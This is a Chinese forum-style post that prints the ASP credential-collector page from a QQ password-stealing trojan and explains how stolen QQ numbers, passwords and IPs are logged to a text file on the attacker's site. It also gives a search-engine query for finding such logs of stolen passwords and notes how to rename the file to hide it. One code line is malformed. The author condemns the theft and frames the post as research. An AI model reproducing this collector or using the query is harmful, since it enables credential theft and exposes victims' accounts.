我上网找了个QQ木马叫金狐QQ大盗里面就带有个QQ.asp 我把内容贴出来给大家看看如下:
<%
strLogFile="2008jhqqxx.txt"
QQNumber=request("QQNumber")
QQPassWord=request("QQPassWord")
QQclub=request("QQclub")
QQip=request("QQip")
QQNumber="" or QQPassWord="" then
response.write "jhQQ"
response.end
End If
StrLogText=StrLogText&QQNumber&"----"&QQPassWord&"----会员:"&QQclub&"----IP:"&QQip&"("&request.servervariables("REMOTE_HOST")
StrLogText=StrLogText&")----"&date&" "&time
f=Server.CreateObject("scripting.filesystemobject")
ff=f.opentextfile(server.mappath(".")&"\"&strLogFile,8,true,0)
ff.writeline(chr(13)+chr(10)&StrLogText)
ff.close
ff=nothing
f=nothing
response.write "发送成功!"
%>
大概意思就是当有人中QQ木马时会自动和此页面通信并将受害者 2次输入QQ信息在当前目录下以以下形式存入个命名为2008jhqqxx.txt文档里
QQ号---QQ密码---会员:是否---QQ登陆IP---具体时间
可见QQ木马是很强大
下面我给大家讲解下整个盗号过程
以我网站WebSitewww.cash568.com为例我准备配置了个QQ木马将那个QQ.asp上传到我网站WebSite根目录用www.cash568.com/QQ.asp 配置出个木马用些手段诱使别人运行比如个QQ用户不小心运行了那么那人QQ会在短时间内掉线并要求重新登陆当那人重新登陆时QQ木马就已经将所记录详细信息传递给了www.cash568.com/QQ.asp这个页面并进行处理也就是上面所讲以那种方式将所得信息录入2008jhqqxx.txt这个文本里而我只需要查看下www.cash568.com/2008jhqqxx.txt这个页面也就能轻松看到盗来QQ密码了而些做坏事人没有将此页面加入robot.txt所以搜索引擎有可能将此页面收录而别人通过在搜索引擎里键入inurl:2008jhqqxx.txt(这句话意思就是搜索网站WebSite地址中含有2008jhqqxx.txt网页)就可以查看到别人盗来QQ密码信息了所以说那篇文章里所提到 腾讯称盗号者在炫耀 这个观点是不但是谷歌百度也样都具有这样命令当然那些干坏事人可以修改下那个asp页面代码将2008jhqqxx.txt改为123.txt那么密码自然就存储到了www.cash568.com/123.txt里了
盗取别人QQ号是令人不齿也是触犯法律行为希望大家不要跟着学坏而我只是抱着研究态度写了这篇文章盗号这事离我很遥远最后希望大家注意网络安全千万别让坏蛋计谋得逞
最新评论